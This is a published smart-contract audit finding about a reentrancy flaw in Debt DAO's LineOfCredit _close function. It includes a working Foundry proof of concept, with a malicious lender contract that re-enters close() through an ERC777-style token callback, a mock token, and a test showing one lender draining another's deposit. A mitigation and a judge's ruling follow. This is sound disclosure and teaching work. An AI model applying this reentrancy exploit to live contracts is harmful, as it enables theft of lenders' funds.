Skip to content
Smart contracts Audit finding Advanced

Reentrancy bug allows lender to steal other lenders funds

A reentrancy bug in the _close function of LineOfCredit.sol allows a lender to repeatedly close the same credit position and drain funds from other lenders who lend the same token type. An attacker could steal other lenders' tokens if the protocol supports a token with a callback mechanism.

0xdeadbeef0x Follow with SmartSek, joestakey and 1 other

Originally disclosed on Code4rena

Submitted by 0xdeadbeef0x, also found by SmartSek, joestakey, and hansfriese

A reentrancy bug in LineOfCredit.sol allows the lender to steal other lenders tokens if they are lending the same tokens type (loss of funds).

The reentrancy occurs in the _close(credit, id) function in LineOfCredit.sol. The credit[id] state variable is cleared only after sendings tokens to the lender.

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L483

    function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) {
        if(credit.principal > 0) { revert CloseFailedWithPrincipal(); }

        // return the Lender's funds that are being repaid
        if (credit.deposit + credit.interestRepaid > 0) {
            LineLib.sendOutTokenOrETH(
                credit.token,
                credit.lender,
                credit.deposit + credit.interestRepaid
            );
        }

        delete credits[id]; // gas refunds

        // remove from active list
        ids.removePosition(id);
        unchecked { --count; }

        // If all credit lines are closed the the overall Line of Credit facility is declared 'repaid'.
        if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }

        emit CloseCreditPosition(id);

        return true;
    }

Proof of Concept

Reentrancy is possible if the borrower is lending tokens that can change the control flow. Such tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions. Example of a real-world popular token that can change control flow is PNT (pNetwork).

As the protocol supports any token listed on the oracle, if the oracle currently supports (or will support in the future) a feed of the above tokens, the bug is exploitable.

If a reentrancy occurs in the _close(credit, id) function, the credit[id] state variable is cleared only after sendings tokens to the lender. A lender can abuse this by reentrancy to close(id) and retrieve credit.deposit + credit.interestRepaid amount of credit.token. A lender can repeat these processes as long as LineOfCredit has funds available.

The POC will demonstrate the following flow:

  1. Borrower adds a new credit with lender1 on 1000 tokens.
  2. Borrower lends 1000 from lender1
  3. Borrower repays debt
  4. Borrower adds a new credit with lender2 on 1000 tokens
  5. Borrower closes debt with lender1
  6. Lender1 receives 2000 tokens.

Add the MockLender.sol to mock folder.

pragma solidity 0.8.9;

import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol";
import { Token777 } from "./Token777.sol";

contract MockLender {
    address owner;
    ILineOfCredit line;
    bytes32 id;
    bool lock;

    event GotMoney(uint256 amount);

    constructor(address _line) public {
        line = ILineOfCredit(_line);
        owner = msg.sender;
    }

    function addCredit(
        uint128 drate,
        uint128 frate,
        uint256 amount,
        address token
    ) external {
        require(msg.sender == owner, "Only callable by owner");
        Token777(token).approve(address(line), amount);
        Token777(token).approve(address(owner), type(uint256).max);
        Token777(token).mockAddToRegistry();
        id = line.addCredit(drate, frate, amount, token, address(this));
    }
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        emit GotMoney(amount);
        if(!lock){
            lock = true;
            line.close(id);
        }
    }

    receive() external payable {
    }

}

Add Token777.sol to mocks folder:

pragma solidity 0.8.9;

import "openzeppelin/token/ERC20/ERC20.sol";
interface IERC777Recipient {
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external;
}

contract Token777 is ERC20("Token used to trade", "777") {
    mapping(address => uint256) private _balances;
    mapping(address => address) private registry;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    // ERC20-allowances
    mapping(address => mapping(address => uint256)) private _allowances;

    event Test(address);

    constructor() {
    }

    function mint(address account, uint256 amount) external returns(bool) {
        _mint(account, amount);
        return true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override{
        require(account != address(0), "ERC777: mint to the zero address");

        // Update state variables
        _totalSupply += amount;
        _balances[account] += amount;
        emit Test(account);
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 value) public virtual override returns (bool) {
        address holder = _msgSender();
        _approve(holder, spender, value);
        return true;
    }
   function _approve(
        address holder,
        address spender,
        uint256 value
    ) internal  virtual override {
        require(holder != address(0), "ERC777: approve from the zero address");
        require(spender != address(0), "ERC777: approve to the zero address");

        _allowances[holder][spender] = value;
        emit Approval(holder, spender, value);
    }
    function transferFrom(
        address holder,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        emit Test(msg.sender);
        _spendAllowance(holder, spender, amount);
        _send(holder, recipient, amount, "", "", false);
        return true;
    }

    function allowance(address holder, address spender) public view virtual override returns (uint256) {
        return _allowances[holder][spender];
    }
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal override virtual {
        emit Test(msg.sender);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC777: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _send(_msgSender(), recipient, amount, "", "", false);
        return true;
    }

    function _send(
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) internal virtual {
        require(from != address(0), "ERC777: transfer from the zero address");
        require(to != address(0), "ERC777: transfer to the zero address");

        address operator = _msgSender();

        _move(operator, from, to, amount, userData, operatorData);

        _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
    }

    function _move(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData
    ) private {
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;
    }

    function _callTokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes memory userData,
        bytes memory operatorData,
        bool requireReceptionAck
    ) private {
        address implementer = registry[to];
        if (implementer != address(0)) {
            IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
        }
    }

    function mockAddToRegistry() external {
        registry[msg.sender] = msg.sender;
    }

}

Add the following imports to LineOfCredit.t.sol:

import { MockLender } from "../mock/MockLender.sol";
import { Token777 } from "../mock/Token777.sol";

Add the following test to LineOfCredit.t.sol:

    function test_reentrancy() public {
        uint256 lenderOneAmount = 1000;
        uint256 lenderTwoAmount = 1000;
        Token777 tokenUsed = new Token777();
        // Create lenderController
        address lenderOneController = address(0xdeadbeef);
        address lender2 = address(0x1337);

        // Create lenderContract
        vm.startPrank(lenderOneController);
        MockLender lenderOneContract = new MockLender(address(line));
        vm.stopPrank();

        // give lenders their lend amount of token
        tokenUsed.mint(address(lenderOneContract), lenderOneAmount);
        tokenUsed.mint(address(lender2), lenderTwoAmount);

        // add support of the token to the SimpleOracle
        oracle.changePrice(address(tokenUsed), 1000 * 1e8); // 1000 USD

        // Borrowers adds credit line from lender2
        vm.startPrank(borrower);
        line.addCredit(dRate, fRate, lenderOneAmount, address(tokenUsed), address(lenderOneContract));
        vm.stopPrank();

        // LenderOne adds credit line
        vm.startPrank(lenderOneController);
        lenderOneContract.addCredit(dRate, fRate, lenderOneAmount, address(tokenUsed));
        vm.stopPrank();

        //borrow 1 ether
        bytes32 id_first = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id_first, lenderOneAmount);
        vm.stopPrank();

        // Borrowers adds an additional credit line from lender2
        vm.startPrank(borrower);
        line.addCredit(dRate, fRate, lenderTwoAmount, address(tokenUsed), address(lender2));
        vm.stopPrank();

        // Lender2 adds an additional credit line from
        vm.startPrank(lender2);
        tokenUsed.approve(address(line), lenderTwoAmount);
        line.addCredit(dRate, fRate, lenderTwoAmount, address(tokenUsed),  address(lender2));
        vm.stopPrank();

        // repay all debt to lender 1
        vm.startPrank(borrower);
        tokenUsed.approve(address(line), lenderOneAmount);
        line.depositAndRepay(lenderOneAmount);
        line.close(id_first);
        vm.stopPrank();

        //validate that lender1 was able to steal lender2 tokens
        assert(tokenUsed.balanceOf(address(lenderOneContract)) == lenderOneAmount + lenderTwoAmount);
    }

To run the POC execute: forge test -v

Expected output:

[PASS] test_reentrancy() (gas: 1636410)
Test result: ok. 1 passed; 0 failed; finished in 1.71ms

To get full trace execute: forge test -vvvv

Tools Used

VS Code, Foundry.

Recommended Mitigation Steps

Send tokens only at the end of _close(Credit memory credit, bytes32 id) or add a reentrancyGuard.

kibagateaux (Debt DAO) disputed and commented:

Similar comments to #176. Both Lenders would have to agree to use tokens that have inherent reentrancy attacks built into the token. This issue feels much more valid than the other one.

In my opinion its not valid to say “if you add malicious things, malicious things happen”. If I didn’t want token reentrancy attacks, I simply wouldn’t add tokens with explicit arbitrary reentrancy abilities.

dmvt (judge) commented:

That line of reasoning doesn’t hold up. The user should be protected against accidentally allowing a token that has a reentrancy attack vector. There is not an immediate and obvious difference between ERC777 and ERC20 tokens. This issue has been a viable Medium risk going all the way back to Uniswap V2 (or possibly before).


The original report as published on Code4rena, by 0xdeadbeef0x. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract sends tokens to the lender before clearing the credit state, allowing a reentrant call to close the same credit again.

Impact

A lender could steal other lenders' funds if the protocol supports a token with a callback mechanism, leading to loss of funds for other lenders.

What the attacker needed

Protocol supports a token with callback (e.g., ERC777); Attacker is a lender; Victim lender uses same token type

The fix

Send tokens only at the end of the _close function or add a reentrancy guard.

How it was found

  1. Borrower adds a credit line with lender1 for 1000 tokens.
  2. Borrower borrows 1000 tokens from lender1.
  3. Borrower repays the debt to lender1.
  4. Borrower adds a credit line with lender2 for 1000 tokens.
  5. Borrower closes the debt with lender1, triggering the reentrancy.
  6. Lender1 receives 2000 tokens, stealing lender2's funds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a smart contract sends tokens, some tokens let the receiver run code before the send finishes. If the contract updates its records only after sending, the receiver can call back into the contract and trick it into sending again. Here, a lender could close the same loan multiple times and take other lenders' money.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by 0xdeadbeef0x

View all

15 more disclosed reports, best first.

More from Debt DAO contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.